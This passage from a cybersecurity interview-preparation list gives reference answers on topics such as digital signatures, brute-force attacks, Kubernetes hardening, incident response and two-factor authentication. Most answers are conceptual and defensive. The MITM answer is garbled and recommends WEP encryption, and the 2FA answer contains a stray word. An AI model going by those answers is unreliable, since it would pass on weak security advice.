What is a digital signature, and what is its purpose?

Reference answer

A digital signature is a cryptographic technique used to verify the authenticity, integrity, and non-repudiation of digital messages or documents. It serves as an electronic equivalent of a handwritten signature. The purpose of a digital signature is to: 1. Authenticate the sender: A digital signature confirms the identity of the sender, ensuring that the message is from a legitimate source. 2. Ensure data integrity: A digital signature verifies that the content of the message or document has not been altered during transmission. 3. Provide non-repudiation: A digital signature prevents the sender from denying that they sent the message or signed the document. In my experience, digital signatures play a crucial role in securing online transactions, protecting sensitive documents, and establishing trust between parties in digital communication.

180

What do you mean by brute force in the context of Cyber Security?

Reference answer

A brute force attack is a cryptographic assault that uses a trial-and-error approach to guess all potential combinations until the correct data is discovered. This exploit is commonly used by cybercriminals to gain personal information such as passwords, login credentials, encryption keys, and PINs. It is very easy for hackers to implement this.

181

You're asked to secure a Kubernetes cluster running production workloads. What steps would you take?

Reference answer

To secure a Kubernetes cluster, I would take the following steps: 1) Enable RBAC and use least privilege for service accounts. 2) Implement network policies to restrict pod-to-pod communication. 3) Use Pod Security Standards (formerly PodSecurityPolicies) to enforce security contexts, such as not running containers as root. 4) Scan container images for vulnerabilities in the CI/CD pipeline and enforce image signing. 5) Restrict access to the Kubernetes API server using authentication (e.g., OIDC) and authorization. 6) Enable audit logging and send logs to a centralized SIEM. 7) Use secrets management solutions (e.g., HashiCorp Vault, external secrets operator) rather than storing secrets in plaintext ConfigMaps. 8) Keep the cluster and nodes updated with security patches. 9) Implement runtime security monitoring (e.g., Falco) for anomalous behavior. 10) Use admission controllers (e.g., OPA Gatekeeper) to enforce policies on resource creation.

182

What is the principle of least privilege and how does it reduce risk?

Reference answer

The principle of least privilege limits user and system access to the bare minimum needed for function, reducing the risk surface. Combined with segregation of duties, it prevents a single user from having excessive control that could lead to misuse or error.

183

What are the key phases of incident response?

Reference answer

The key phases of incident response include preparation, detection and analysis, containment, eradication, recovery, and post-incident activities such as lessons learned and reporting. Preparation involves establishing tools, policies, and training. Detection relies on monitoring systems and SIEM alerts. Containment aims to limit scope and impact. Eradication removes the cause. Recovery restores systems to normal operation. Post-incident analysis helps improve defenses.

184

How to prevent MITM?

Reference answer

- Strong WEP/WAP Encryption on Access Points - Strong Router Login Credentials Strong Router Login Credentials - Use Virtual Private Network.

185

What would you do if you discovered an infected host?

Reference answer

If I discovered an infected host, I would: immediately isolate it from the network (disconnect Ethernet, disable Wi-Fi) to prevent lateral spread. Then, I would capture a memory dump and forensic image for analysis, identify the malware and its indicators of compromise (IOCs), determine the entry vector, contain the infection, and remediate by cleaning or reimaging the host. Finally, I would investigate the scope of the breach and update security controls.

186

Explain the difference between a penetration test and a vulnerability assessment.

Reference answer

A vulnerability assessment identifies the flaws in your current system that make it vulnerable. From those results, you prioritize what should happen and in which order. A penetration test is also known as 'ethical hacking.' In a penetration test, you (or people you hire) hack your system to find the flaws and explain how the vulnerability was exploited.

187

How do you decide the placement of the encryption function?

Reference answer

We must decide what to encrypt and where the encryption mechanism should be situated if encryption is to be used to counter attacks on confidentiality. Link and end-to-end encryption are the two main ways of encryption placement. End-to-end encryption, or E2EE, is a secure data transfer system in which data is encrypted and decrypted only at the endpoints, regardless of how many points it passes through in the middle of its virtual journey. This sort of encryption is an excellent technique to communicate in a secure and confidential manner. Because no one else has the key to decode it, no one in the middle will be able to read it. The primary difference between link encryption and end-to-end encryption is that link encryption encrypts and decrypts all traffic at all points, not just at the endpoints. All data is encrypted as it travels along the communication line with this approach. When it reaches a router or another intermediary device, however, it is decrypted so that the intermediator can determine which direction to send it next.

188

What are the key components of a vulnerability management program?

Reference answer

Key components of vulnerability management include: Discovery and Asset Inventory (knowing what assets exist), Vulnerability Scanning (using automated scanners for known weaknesses), Risk Classification and Prioritization (assessing severity, exploitability, asset value, and exposure), Remediation and Mitigation (patching or implementing compensating controls), Verification and Reporting (rescanning to confirm fixes), and Continuous Improvement (regularly reviewing tools and procedures).

189

Define port scanning.

Reference answer

Port scanning is the process of methodically scanning a target system or network to detect open ports and services running on those ports. It is typically performed by security professionals or attackers to assess the security posture of a target system. It helps identify potential vulnerabilities, misconfigurations, or open doors for unauthorized access.

190

What is a compliance audit?

Reference answer

A compliance audit is an independent examination and evaluation of an organization's security controls to ensure they meet regulatory or industry standards.

191

What is the difference between VA (vulnerability assessment) and PT (penetration testing)?

Reference answer

Vulnerability assessments identify and report security weaknesses in system architectures. Penetration testing strives to exploit those vulnerabilities and determine the extent to which a cybercriminal could compromise an organization's assets.

192

What tools do you use for penetration testing?

Reference answer

Common tools include Nmap, Metasploit, Burp Suite, Wireshark, and Nessus for scanning, exploitation, and analysis.

193

How do you secure APIs in an enterprise environment?

Reference answer

API security includes enforcing authentication and authorization, encrypting data in transit, validating inputs, rate limiting, logging activity, and using API gateways for centralized monitoring.

194

How would you go about reverse-engineering a custom protocol packet?

Reference answer

I would capture sample packets using tools like Wireshark or tcpdump, then analyze the raw bytes. I would look for patterns, such as fixed headers, lengths, magic numbers, and payload structures. I would test hypotheses by sending crafted packets and observing responses. If possible, I would examine client or server binaries to understand the protocol logic, using disassemblers (e.g., IDA Pro, Ghidra) to identify parsing functions.

195

What are the benefits of Cyber Security?

Reference answer

The following are some of the advantages of putting cybersecurity in place and keeping it up to date: - Businesses are protected from cyberattacks and data breaches. - Both data and network security are safeguarded. - Unauthorized user access is kept to a minimum. - There is a quicker recovery time after a breach. - Protection for end-users and endpoint devices. - Regulatory compliance. - Operational consistency. - Developers, partners, consumers, stakeholders, and employees have a higher level of trust in the company's reputation.

196

What is a risk assessment?

Reference answer

A risk assessment is a systematic process of identifying, evaluating, and prioritizing potential security risks.

197

What do you mean by two-factor authentication?

Reference answer

Two-factor authentication (2FA), often known as two-step verification or dual-factor authentication, is a security method in which users validate their identity using two independent authentication factors. This procedure is carried out in order to better protect the user's credentials as well as the resources that the user has access to. Single-factor authentication (SFA), in which the user gives only one factor — generally a password or passcode — provides a lower level of security than two-factor authentication (TFA). Since possessing the defendant's password alone is not enough to accomplish the authentication check, two-factor authentication adds an extra layer of security to the authentication process, making it more difficult for attackers to get access to a person's devices or online accounts.

198

How do you approach securing a large, distributed network?

Reference answer

Approaches to keep our network safe i) Divide the network: Break it down into smaller sections manageable. ii) Employ firewalls and intrusion detection systems (IDS): Make sure each section is monitored and guarded. iii) Multiple factor authentication (MFA) and strong passwords should be used to guarantee the real identity of a person iv) Always update: Patch vulnerabilities in any system v) Always stay aware of current affairs.

199

What Is Data Leakage?

Reference answer

Data leakage occurs when a party within an organization shares confidential information including trade secrets, source code, and private data with unauthorized recipients. Not all data leaks are the result of deliberately malicious activity, however. These events might occur due to security gaps, user negligence, or system errors.

200

Can You Explain What a Brute Force Attack Is and How It Can Be Prevented?

Reference answer

A brute force attack is an attempt to gain unauthorized access to a system by systematically trying all possible combinations of passwords or encryption keys. It can be prevented by enforcing strong password policies, implementing account lockout mechanisms, and using multi-factor authentication. Additionally, rate-limiting login attempts and employing intrusion detection systems can help detect and prevent brute force attacks.

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